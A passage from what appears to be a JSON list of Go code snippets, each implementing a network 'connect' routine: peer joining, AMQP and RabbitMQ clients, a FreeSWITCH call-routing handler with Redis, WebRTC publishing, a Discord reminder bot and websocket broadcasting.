receivedMembers.Peers() {\n\t\t// If a received peer is not the same that contains the current node try\n\t\t// to connect directly.\n\t\tif !n.Self.Equal(member) {\n\t\t\tif req, err := composeRequest(msg, member); err != nil {\n\t\t\t\treturn ParseErr(\"error decoding request to message\", err)\n\t\t\t} else if _, err := n.client.Do(req); err != nil {\n\t\t\t\treturn ConnErr(\"error trying to perform the request\", err)\n\t\t\t}\n\t\t\tn.Members.Append(member)\n\t\t}\n\t}\n\n\t// Set node status as connected.\n\tn.setConnected(true)\n\t// Append the entrypoint to the current members.\n\tn.Members.Append(entryPoint)\n\treturn nil\n}", "func (client *Client) Connect() {\n\t/*\tgo func() {\n\t\tfor {*/\n\tstart := time.Now()\n\tconn, err := net.Dial(\"tcp\", client.address)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Ask server for an id\n\tname := fake.FullName()\n\t_, _ = fmt.Fprintf(conn, \"new \"+name)\n\tid := make([]byte, 2)\n\t_, err = conn.Read(id)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tclient.player = name\n\tclient.id, _ = strconv.Atoi(string(string(id)[0]))\n\tfmt.Printf(\"We are in da place as '%s' '%s'\\n\", name, client.id)\n\t_ = conn.Close()\n\tfmt.Printf(\"ping %d\", time.Now().Sub(start).Milliseconds())\n\t/*\t\t}\n\t}()*/\n}", "func (a *agent) connect() error {\n\terr := backoff.Retry(func() error {\n\t\tif a.amqpURL == \"\" {\n\t\t\treturn fmt.Errorf(\"no mq URL\")\n\t\t}\n\t\tparts := strings.Split(a.amqpURL, \"@\")\n\t\thostport := parts[len(parts)-1]\n\n\t\ta.logger.InfoF(\"dialing %q\", hostport)\n\t\tconn, err := amqp.Dial(a.amqpURL)\n\t\tif err != nil {\n\t\t\treturn errors.Wrapf(err, \"dialing %q\", hostport)\n\t\t}\n\t\t// Set connection to agent for reference\n\t\ta.mu.Lock()\n\t\ta.conn = conn\n\t\ta.mu.Unlock()\n\n\t\tif err := a.openChannel(); err != nil {\n\t\t\treturn errors.Wrapf(err, \"openChannel\")\n\t\t}\n\n\t\tif err := a.runWorker(); err != nil {\n\t\t\treturn errors.Wrapf(err, \"startWorkers\")\n\t\t}\n\n\t\ta.wg.Add(1)\n\t\tgo func() {\n\t\t\tdefer a.wg.Done()\n\t\t\ta.waitChannel()\n\t\t}()\n\t\ta.logger.InfoF(\"connected %q\", hostport)\n\t\treturn nil\n\t}, backoff.WithContext(a.connBackOff, a.ctx))\n\tif err != nil {\n\t\ta.logger.ErrorF(\"connect failed: %q\", err.Error())\n\t\treturn err\n\t}\n\treturn nil\n}", "func handle(s *OutboundServer) {\n\n\tclient, err := Dial(&DialConfig{Address: fmt.Sprintf(\"%s:%d\", cfg.Redis.Ip, cfg.Redis.Port)})\n\n\tif err != nil {\n\n\t\tError(\"Error occur in connecting redis\", err)\n\t\treturn\n\n\t}\n\n\tfor {\n\n\t\tselect {\n\n\t\tcase conn := <-s.Conns:\n\t\t\tNotice(\"New incomming connection: %v\", conn)\n\n\t\t\tif err := conn.Connect(); err != nil {\n\t\t\t\tError(\"Got error while accepting connection: %s\", err)\n\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tmsg, err := conn.ReadMessage()\n\n\t\t\tif err == nil && msg != nil {\n\n\t\t\t\t//conn.Send(\"myevents\")\n\t\t\t\tDebug(\"Connect message %s\", msg.Headers)\n\n\t\t\t\tuniqueID := msg.GetCallUUID()\n\t\t\t\tfrom := msg.GetHeader(\"Caller-Caller-Id-Number\")\n\t\t\t\tto := msg.GetHeader(\"Caller-Destination-Number\")\n\t\t\t\tdirection := msg.GetHeader(\"Call-Direction\")\n\t\t\t\tchannelStatus := msg.GetHeader(\"Answer-State\")\n\t\t\t\toriginateSession := msg.GetHeader(\"Variable_originate_session_uuid\")\n\t\t\t\tcompany := msg.GetHeader(\"Variable_company\")\n\t\t\t\ttenant := msg.GetHeader(\"Variable_tenant\")\n\t\t\t\tskill := msg.GetHeader(\"Variable_skill\")\n\t\t\t\tfsUUID := msg.GetHeader(\"Core-Uuid\")\n\t\t\t\tfsHost := msg.GetHeader(\"Freeswitch-Hostname\")\n\t\t\t\tfsName := msg.GetHeader(\"Freeswitch-Switchname\")\n\t\t\t\tfsIP := msg.GetHeader(\"Freeswitch-Ipv4\")\n\t\t\t\tcallerContext := msg.GetHeader(\"Caller-Context\")\n\n\t\t\t\t//conn.Send(fmt.Sprintf(\"myevent json %s\", uniqueID))\n\n\t\t\t\tif len(originateSession) == 0 {\n\n\t\t\t\t\tDebug(\"New Session created ---> %s\", uniqueID)\n\n\t\t\t\t} else {\n\n\t\t\t\t}\n\n\t\t\t\tDebug(from)\n\t\t\t\tDebug(to)\n\t\t\t\tDebug(direction)\n\t\t\t\tDebug(channelStatus)\n\t\t\t\tDebug(fsUUID)\n\t\t\t\tDebug(fsHost)\n\t\t\t\tDebug(fsName)\n\t\t\t\tDebug(fsIP)\n\t\t\t\tDebug(originateSession)\n\t\t\t\tDebug(callerContext)\n\t\t\t\tDebug(company)\n\t\t\t\tDebug(tenant)\n\t\t\t\tDebug(skill)\n\n\t\t\t\tcomapnyi, _ := strconv.Atoi(company)\n\t\t\t\ttenanti, _ := strconv.Atoi(tenant)\n\n\t\t\t\tif direction == \"outbound\" {\n\t\t\t\t\tDebug(\"OutBound Call recived ---->\")\n\n\t\t\t\t\t//if channelStatus != \"answered\" {\n\t\t\t\t\t////////////////////////////////////////////////////////////\n\t\t\t\t\tif len(originateSession) > 0 {\n\n\t\t\t\t\t\tDebug(\"Original session found %s\", originateSession)\n\n\t\t\t\t\t\tvar isStored = true\n\t\t\t\t\t\tpartykey := fmt.Sprintf(\"ARDS:Leg:%s\", uniqueID)\n\t\t\t\t\t\tkey := fmt.Sprintf(\"ARDS:Session:%s\", originateSession)\n\n\t\t\t\t\t\texsists, exsisterr := client.Exists(key)\n\t\t\t\t\t\tagentStatusRaw, _ := client.HGet(key, \"AgentStatus\")\n\t\t\t\t\t\tagentstatus := string(agentStatusRaw[:])\n\n\t\t\t\t\t\tDebug(\"Client exsists ----------------------->%s\", agentstatus)\n\t\t\t\t\t\tif exsisterr == nil && exsists == true && agentstatus == \"NotFound\" {\n\n\t\t\t\t\t\t\tredisErr := client.SimpleSet(partykey, originateSession)\n\t\t\t\t\t\t\tDebug(\"Store Data : %s \", redisErr)\n\t\t\t\t\t\t\tisStored, redisErr = client.HSet(key, \"AgentStatus\", \"AgentFound\")\n\t\t\t\t\t\t\tDebug(\"Store Data : %s %s\", isStored, redisErr)\n\t\t\t\t\t\t\tisStored, redisErr = client.HSet(key, \"AgentUUID\", uniqueID)\n\t\t\t\t\t\t\tDebug(\"Store Data : %s %s\", isStored, redisErr)\n\t\t\t\t\t\t\t//msg, err = conn.Execute(\"wait_for_answer\", \"\", true)\n\t\t\t\t\t\t\t//Debug(\"wait for answer ----> %s\", msg)\n\t\t\t\t\t\t\t//msg, err = conn.ExecuteSet(\"CHANNEL_CONNECTION\", \"true\", false)\n\t\t\t\t\t\t\t//Debug(\"Set variable ----> %s\", msg)\n\n\t\t\t\t\t\t\tif channelStatus == \"answered\" {\n\n\t\t\t\t\t\t\t\texsists, exsisterr := client.Exists(key)\n\t\t\t\t\t\t\t\tif exsisterr == nil && exsists == true {\n\n\t\t\t\t\t\t\t\t\tclient.HSet(key, \"AgentStatus\", \"AgentConnected\")\n\n\t\t\t\t\t\t\t\t\tcmd := fmt.Sprintf(\"uuid_bridge %s %s\", originateSession, uniqueID)\n\t\t\t\t\t\t\t\t\tDebug(cmd)\n\t\t\t\t\t\t\t\t\tconn.BgApi(cmd)\n\t\t\t\t\t\t\t\t\t/////////////////////Remove///////////////////////\n\n\t\t\t\t\t\t\t\t\tRemoveRequest(comapnyi, tenanti, originateSession)\n\n\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\tRejectRequest(comapnyi, tenanti, originateSession, \"NoSession\")\n\n\t\t\t\t\t\t\t\t\tconn.ExecuteHangup(uniqueID, \"\", false)\n\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tconn.Send(\"myevents json\")\n\t\t\t\t\t\t\tgo func() {\n\n\t\t\t\t\t\t\t\tfor {\n\t\t\t\t\t\t\t\t\tmsg, err := conn.ReadMessage()\n\n\t\t\t\t\t\t\t\t\tif err != nil {\n\n\t\t\t\t\t\t\t\t\t\t// If it contains EOF, we really dont care...\n\t\t\t\t\t\t\t\t\t\tif !strings.Contains(err.Error(), \"EOF\") {\n\t\t\t\t\t\t\t\t\t\t\tError(\"Error while reading Freeswitch message: %s\", err)\n\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\tif msg != nil {\n\n\t\t\t\t\t\t\t\t\t\t\tuuid := msg.GetHeader(\"Unique-ID\")\n\t\t\t\t\t\t\t\t\t\t\tDebug(uuid)\n\n\t\t\t\t\t\t\t\t\t\t\tcontentType := msg.GetHeader(\"Content-Type\")\n\t\t\t\t\t\t\t\t\t\t\tevent := msg.GetHeader(\"Event-Name\")\n\t\t\t\t\t\t\t\t\t\t\tDebug(\"Content types -------------------->\", contentType)\n\n\t\t\t\t\t\t\t\t\t\t\tif contentType == \"text/disconnect-notice\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t//key := fmt.Sprintf(\"ARDS:Session:%s\", uniqueID)\n\n\t\t\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\t\t\tif event == \"CHANNEL_ANSWER\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tfmt.Printf(\"%s\", event)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\texsists, exsisterr := client.Exists(key)\n\t\t\t\t\t\t\t\t\t\t\t\t\tif exsisterr == nil && exsists == true {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tclient.HSet(key, \"AgentStatus\", \"AgentConnected\")\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcmd := fmt.Sprintf(\"uuid_bridge %s %s\", originateSession, uniqueID)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tDebug(cmd)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tconn.BgApi(cmd)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t/////////////////////Remove///////////////////////\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tRemoveRequest(comapnyi, tenanti, originateSession)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tRejectRequest(comapnyi, tenanti, originateSession, \"NoSession\")\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tconn.ExecuteHangup(uniqueID, \"\", false)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t} else if event == \"CHANNEL_HANGUP\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tvalue1, getErr1 := client.HGet(key, \"AgentStatus\")\n\t\t\t\t\t\t\t\t\t\t\t\t\tagentstatus := string(value1[:])\n\t\t\t\t\t\t\t\t\t\t\t\t\tif getErr1 == nil {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tif agentstatus != \"AgentConnected\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif agentstatus == \"AgentKilling\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//////////////////////////////Reject//////////////////////////////////////////////\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//http://localhost:2225/request/remove/company/tenant/sessionid\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tRejectRequest(comapnyi, tenanti, originateSession, \"AgentRejected\")\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tDebug(\"Store Data : %s \", redisErr)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tval, _ := client.HExists(key, \"AgentStatus\")\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tif val == true {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tisStored, redisErr = client.HSet(key, \"AgentStatus\", \"NotFound\")\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tDebug(\"Store Data : %s %s \", redisErr, isStored)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\tDebug(\"Got message: %s\", msg)\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\tDebug(\"Leaving go routing after everithing completed OutBound %s %s\", key, partykey)\n\t\t\t\t\t\t\t\t//client.Del(key)\n\t\t\t\t\t\t\t\tclient.Del(partykey)\n\t\t\t\t\t\t\t}()\n\n\t\t\t\t\t\t\t//}\n\t\t\t\t\t\t\t/////////////////////////////////////////////////////////////\n\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\tRejectRequest(1, 3, originateSession, \"NoSession\")\n\n\t\t\t\t\t\tcmd := fmt.Sprintf(\"uuid_kill %s \", uniqueID)\n\t\t\t\t\t\tDebug(cmd)\n\t\t\t\t\t\tconn.BgApi(cmd)\n\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\n\t\t\t\t\tanswer, err := conn.ExecuteAnswer(\"\", false)\n\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tError(\"Got error while executing answer: %s\", err)\n\n\t\t\t\t\t}\n\n\t\t\t\t\tDebug(\"Answer Message: %s\", answer)\n\t\t\t\t\tDebug(\"Caller UUID: %s\", uniqueID)\n\n\t\t\t\t\t//////////////////////////////////////////Add to queue//////////////////////////////////////\n\t\t\t\t\tskills := []string{skill}\n\t\t\t\t\tAddRequest(comapnyi, tenanti, uniqueID, skills)\n\n\t\t\t\t\t///////////////////////////////////////////////////////////////////////////////////////////\n\n\t\t\t\t\tkey := fmt.Sprintf(\"ARDS:Session:%s\", uniqueID)\n\n\t\t\t\t\tpartykey := fmt.Sprintf(\"ARDS:Leg:%s\", uniqueID)\n\t\t\t\t\tvar isStored = true\n\t\t\t\t\tDebug(\"key ---> %s \", partykey)\n\t\t\t\t\tredisErr := client.SimpleSet(partykey, uniqueID)\n\t\t\t\t\tDebug(\"Store Data : %s \", redisErr)\n\n\t\t\t\t\tDebug(\"key ---> %s \", key)\n\t\t\t\t\tisStored, redisErr = client.HSet(key, \"CallStatus\", \"CallOnQueue\")\n\t\t\t\t\tDebug(\"Store Data : %s \", redisErr)\n\t\t\t\t\tisStored, redisErr = client.HSet(key, \"AgentStatus\", \"NotFound\")\n\n\t\t\t\t\tDebug(\"Store Data : %s %s \", redisErr, isStored)\n\n\t\t\t\t\tconn.Send(\"myevents json\")\n\t\t\t\t\tconn.Send(\"linger\")\n\t\t\t\t\tif sm, err := conn.Execute(\"playback\", \"local_stream://moh\", false); err != nil {\n\t\t\t\t\t\tError(\"Got error while executing speak: %s\", err)\n\n\t\t\t\t\t} else {\n\n\t\t\t\t\t\tDebug(\"Playback reply %s\", sm)\n\n\t\t\t\t\t}\n\n\t\t\t\t\tDebug(\"Leaving go routing after everithing completed Inbound\")\n\n\t\t\t\t\t/////////////////////////////////////////////////////////////////////////////////////////////////\n\n\t\t\t\t\tgo func() {\n\n\t\t\t\t\t\tfor {\n\t\t\t\t\t\t\tmsg, err := conn.ReadMessage()\n\n\t\t\t\t\t\t\tif err != nil {\n\n\t\t\t\t\t\t\t\t// If it contains EOF, we really dont care...\n\t\t\t\t\t\t\t\tif !strings.Contains(err.Error(), \"EOF\") {\n\t\t\t\t\t\t\t\t\tError(\"Error while reading Freeswitch message: %s\", err)\n\n\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\tbreak\n\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tif msg != nil {\n\n\t\t\t\t\t\t\t\t\tuuid := msg.GetHeader(\"Unique-ID\")\n\t\t\t\t\t\t\t\t\tDebug(uuid)\n\n\t\t\t\t\t\t\t\t\tcontentType := msg.GetHeader(\"Content-Type\")\n\t\t\t\t\t\t\t\t\tevent := msg.GetHeader(\"Event-Name\")\n\t\t\t\t\t\t\t\t\tapplication := msg.GetHeader(\"variable_current_application\")\n\n\t\t\t\t\t\t\t\t\tDebug(\"Content types -------------------->\", contentType)\n\t\t\t\t\t\t\t\t\t//response := msg.GetHeader(\"variable_current_application_response\")\n\t\t\t\t\t\t\t\t\tif contentType == \"text/disconnect-notice\" {\n\n\t\t\t\t\t\t\t\t\t\t//key := fmt.Sprintf(\"ARDS:Session:%s\", uniqueID)\n\n\t\t\t\t\t\t\t\t\t} else {\n\n\t\t\t\t\t\t\t\t\t\tDebug(\"Event -------------------->\", event)\n\n\t\t\t\t\t\t\t\t\t\tif event == \"CHANNEL_EXECUTE_COMPLETE\" && application == \"playback\" {\n\n\t\t\t\t\t\t\t\t\t\t\tvalue1, getErr1 := client.HGet(key, \"AgentStatus\")\n\t\t\t\t\t\t\t\t\t\t\tsValue1 := string(value1[:])\n\n\t\t\t\t\t\t\t\t\t\t\tvalue2, getErr2 := client.HGet(key, \"AgentUUID\")\n\t\t\t\t\t\t\t\t\t\t\tsValue2 := string(value2[:])\n\n\t\t\t\t\t\t\t\t\t\t\tDebug(\"Client side connection values %s %s %s %s\", getErr1, getErr2, sValue1, sValue2)\n\n\t\t\t\t\t\t\t\t\t\t\tif getErr1 == nil && getErr2 == nil && sValue1 == \"AgentConnected\" && len(sValue2) > 0 {\n\n\t\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t\t} else if event == \"CHANNEL_HANGUP\" {\n\n\t\t\t\t\t\t\t\t\t\t\tvalue1, getErr1 := client.HGet(key, \"AgentStatus\")\n\t\t\t\t\t\t\t\t\t\t\tagentstatus := string(value1[:])\n\n\t\t\t\t\t\t\t\t\t\t\tvalue2, _ := client.HGet(key, \"AgentUUID\")\n\t\t\t\t\t\t\t\t\t\t\tsValue2 := string(value2[:])\n\t\t\t\t\t\t\t\t\t\t\tif getErr1 == nil {\n\n\t\t\t\t\t\t\t\t\t\t\t\tif agentstatus != \"AgentConnected\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t//////////////////////////////Remove//////////////////////////////////////////////\n\n\t\t\t\t\t\t\t\t\t\t\t\t\tif agentstatus == \"AgentFound\" {\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tclient.HSet(key, \"AgentStatus\", \"AgentKilling\")\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tcmd := fmt.Sprintf(\"uuid_kill %s \", sValue2)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tDebug(cmd)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tconn.Api(cmd)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tRejectRequest(comapnyi, tenanti, uniqueID, \"ClientRejected\")\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\t\t\t\t\t\t\tRemoveRequest(comapnyi, tenanti, uniqueID)\n\n\t\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t\t\t\t\tclient.Del(key)\n\t\t\t\t\t\t\t\t\t\t\tclient.Del(partykey)\n\t\t\t\t\t\t\t\t\t\t\tconn.Exit()\n\n\t\t\t\t\t\t\t\t\t\t} else if event == \"CHANNEL_HANGUP_COMPLETED\" {\n\n\t\t\t\t\t\t\t\t\t\t\tconn.Close()\n\n\t\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t//Debug(\"Got message: %s\", msg)\n\t\t\t\t\t\t}\n\t\t\t\t\t\tDebug(\"Leaving go routing after everithing completed Inbound %s %s\", key, partykey)\n\t\t\t\t\t\tclient.Del(key)\n\t\t\t\t\t\tclient.Del(partykey)\n\t\t\t\t\t}()\n\n\t\t\t\t}\n\n\t\t\t} else {\n\n\t\t\t\tError(\"Got Error %s\", err)\n\t\t\t\tconn.Exit()\n\t\t\t}\n\n\t\tdefault:\n\t\t}\n\t}\n\n}", "func (c *connection) Connect(ip string, port int) (int, error) {\n\tvar err error\n\tvar tempConn net.Conn\n\ttempConn, err = net.DialTimeout(\"tcp\", fmt.Sprint(ip, \":\", port), time.Second*5)\n\tfor err != nil {\n\t\ttempConn, err = net.DialTimeout(\"tcp\", fmt.Sprint(ip, \":\", port), time.Second*5)\n\t}\n\tconn := tempConn.(*net.TCPConn)\n\tif err != nil {\n\t\tpanic(\"Couldnt dial the host: \" + err.Error())\n\t}\n\n\twrite(conn, []byte{0, 0, byte(c.myPort / 256), byte(c.myPort % 256)})\n\t//conn.SetReadDeadline(time.Now().Add(time.Second*5))\n\n\tmsg := read(conn)\n\tc.myId = int(msg[0])\n\tc.addPeer(c.myId, nil, 0)\n\totherId := int(msg[1])\n\tc.peers = make([]*peer, c.myId+1)\n\tc.addPeer(otherId, conn, port)\n\tj := 2\n\tfor j < len(msg) {\n\t\tid := int(msg[j])\n\t\tj++\n\t\tip, port, k := addrFromBytes(msg[j:])\n\t\tnewConn, err := net.Dial(\"tcp\", fmt.Sprint(ip, \":\", port))\n\t\tif err != nil {\n\t\t\tpanic(\"Got error when connecting to addr \" + fmt.Sprint(ip, \":\", port) + \": \" + err.Error())\n\t\t}\n\t\twrite(newConn, []byte{0, byte(c.myId), byte(c.myPort / 256), byte(c.myPort % 256)})\n\t\tc.addPeer(id, newConn.(*net.TCPConn), port)\n\t\tgo c.receive(c.peers[id])\n\t\tj += k\n\t}\n\tgo c.receive(c.peers[otherId])\n\treturn c.myId, nil\n}", "func (t *RoomClient) Publish(codec string) {\n\tif t.AudioTrack != nil {\n\t\tif _, err := t.pubPeerCon.AddTrack(t.AudioTrack); err != nil {\n\t\t\tlog.Print(err)\n\t\t\tpanic(err)\n\t\t}\n\t}\n\tif t.VideoTrack != nil {\n\t\tif _, err := t.pubPeerCon.AddTrack(t.VideoTrack); err != nil {\n\t\t\tlog.Print(err)\n\t\t\tpanic(err)\n\t\t}\n\t}\n\n\tt.pubPeerCon.OnICEConnectionStateChange(func(connectionState webrtc.ICEConnectionState) {\n\t\tlog.Printf(\"Client %v producer State has changed %s \\n\", t.name, connectionState.String())\n\t})\n\n\t// Create an offer to send to the browser\n\toffer, err := t.pubPeerCon.CreateOffer(nil)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t// Sets the LocalDescription, and starts our UDP listeners\n\terr = t.pubPeerCon.SetLocalDescription(offer)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tpubMsg := biz.PublishMsg{\n\t\tRoomInfo: t.room,\n\t\tRTCInfo: biz.RTCInfo{Jsep: offer},\n\t\tOptions: newPublishOptions(codec),\n\t}\n\n\tres := <-t.WsPeer.Request(proto.ClientPublish, pubMsg, nil, nil)\n\tif res.Err != nil {\n\t\tlogger.Infof(\"publish reject: %d => %s\", res.Err.Code, res.Err.Text)\n\t\treturn\n\t}\n\n\tvar msg biz.PublishResponseMsg\n\terr = json.Unmarshal(res.Result, &msg)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn\n\t}\n\n\tt.MediaInfo = msg.MediaInfo\n\n\t// Set the remote SessionDescription\n\terr = t.pubPeerCon.SetRemoteDescription(msg.Jsep)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}", "func ReceiveFromPeer(remotePID string, payload []byte) {\n\t// TODO: implement a cleaner way to do that\n\t// Checks during 100 ms if the conn is available, because remote device can\n\t// be ready to write while local device is still creating the new conn.\n\tfor i := 0; i < 100; i++ {\n\t\tc, ok := connMap.Load(remotePID)\n\t\tif ok {\n\t\t\t_, err := c.(*Conn).readIn.Write(payload)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"receive from peer: write\", zap.Error(err))\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\ttime.Sleep(1 * time.Millisecond)\n\t}\n\n\tlogger.Error(\n\t\t\"connmgr failed to read from conn: unknown conn\",\n\t\tzap.String(\"remote address\", remotePID),\n\t)\n\tmcdrv.CloseConnWithPeer(remotePID)\n}", "func Connect(token string) error {\n\tdg, err := discordgo.New(\"Bot \" + token)\n\tif err != nil {\n\t\tfmt.Println(\"error creating Discord session,\", err)\n\t\treturn err\n\t}\n\tdg.AddHandler(manager)\n\tchannels, _ := dg.GuildChannels(\"675106841436356628\")\n\n\tfor _, v := range channels {\n\t\tfmt.Printf(\"Channel id: %s Channel name: %s\\n\", v.ID, v.Name)\n\t}\n\n\t// This function sends message every hour concurrently.\n\tgo func() {\n\t\tfor range time.NewTicker(time.Hour).C {\n\t\t\t_, err := dg.ChannelMessageSend(\"675109890204762143\", \"dont forget washing ur hands!\")\n\t\t\tif err != nil {\n\t\t\t\tlog.Println(\"couldn't send ticker message\", err)\n\t\t\t}\n\t\t}\n\t}()\n\n\terr = dg.Open()\n\tif err != nil {\n\t\tfmt.Println(\"error opening connection,\", err)\n\t\treturn err\n\t}\n\t// Wait here until CTRL-C or other term signal is received.\n\tfmt.Println(\"Bot is now running. Press CTRL-C to exit.\")\n\tsc := make(chan os.Signal, 1)\n\tsignal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, os.Kill)\n\t<-sc\n\t// Cleanly close down the Discord session.\n\tdg.Close()\n\treturn nil\n}", "func join(channel string) {\n\tIRCOutgoing <- \"JOIN \" + channel\n}", "func (m *ConnManager) Broadcast(conn *websocket.Conn, msg *Message) {\n\tm.Foreach(func(k, v interface{}) {\n\t\tif c, ok := v.(*websocket.Conn); ok && c != conn {\n\t\t\tif err := websocket.JSON.Send(c, msg); err != nil {\n\t\t\t\tfmt.Println(\"Send msg error: \", err)\n\t\t\t}\n\t\t}\n\t})\n}", "func (e *EventQueue) FireConnect(m *message.Connect) {\n\n\trequest := &PlayerConnect{\n\t\tpayload: m,\n\t\tsubscribers: e.ConnectListeners,\n\t}\n\te.primaryQ <- request\n}", "func (s *Sender) connect() net.Conn {\n\tbaseGap := 500 * time.Millisecond\n\tfor {\n\t\tconn, err := net.Dial(\"tcp\", s.addr)\n\t\tif err != nil {\n\t\t\tlog.Print(err)\n\t\t\ttime.Sleep(baseGap)\n\t\t\tbaseGap *= 2\n\t\t\tif baseGap > time.Second*30 {\n\t\t\t\tbaseGap = time.Second * 30\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tdebugInfo(fmt.Sprintf(\"local addr:%s\\n\", conn.LocalAddr()))\n\t\treturn conn\n\t}\n}", "func (r *RabbitMQ) Connect() (err error) {\n\tr.conn, err = amqp.Dial(Conf.AMQPUrl)\n\tif err != nil {\n\t\tlog.Info(\"[amqp] connect error: %s\\n\", err)\n\t\treturn err\n\t}\n\tr.channel, err = r.conn.Channel()\n\tif err != nil {\n\t\tlog.Info(\"[amqp] get channel error: %s\\n\", err)\n\t\treturn err\n\t}\n\tr.done = make(chan error)\n\treturn nil\n}", "func (h *Hub) Connect() *Conn {\n\tr := &Conn{\n\t\tparent: h,\n\t\tvalueQ: make(chan Value, 16),\n\t}\n\n\tr.Value = r.valueQ\n\treturn r\n}", "func (conn *Connection) PushToLobby() {\n\tif conn.done() {\n\t\treturn\n\t}\n\tconn.wGroup.Add(1)\n\tdefer func() {\n\t\tconn.wGroup.Done()\n\t}()\n\n\tconn.setRoom(nil)\n\tconn.setBoth(false)\n}", "func (conn *Conn) Connect() error {\n\tu := url.URL{Scheme: \"wss\", Host: IP}\n\tsocket, _, err := websocket.DefaultDialer.Dial(u.String(), nil)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif conn.length < 1 {\n\t\tconn.length = 50\n\t}\n\tif conn.generator == nil {\n\t\tconn.generator = nonce.WichmannHill\n\t}\n\tconn.socket = socket\n\tconn.done = make(chan bool)\n\tconn.isConnected = true\n\tgo conn.reader()\n\tgo conn.ticker()\n\tif conn.topics != nil {\n\t\tvar wg sync.WaitGroup\n\t\tconn.listeners.Lock()\n\t\trejoined := make(map[string][]string)\n\t\tfor token, topics := range conn.topics {\n\t\t\twg.Add(1)\n\t\t\tgo func(token string, topics ...string) {\n\t\t\t\tif err := conn.ListenWithAuth(token, topics...); err == nil {\n\t\t\t\t\trejoined[token] = topics\n\t\t\t\t}\n\t\t\t\twg.Done()\n\t\t\t}(token, topics...)\n\t\t}\n\t\tconn.listeners.Unlock()\n\t\twg.Wait()\n\t\tconn.listeners.Lock()\n\t\tdefer conn.listeners.Unlock()\n\t\tconn.topics = rejoined\n\t}\n\treturn nil\n}" ]
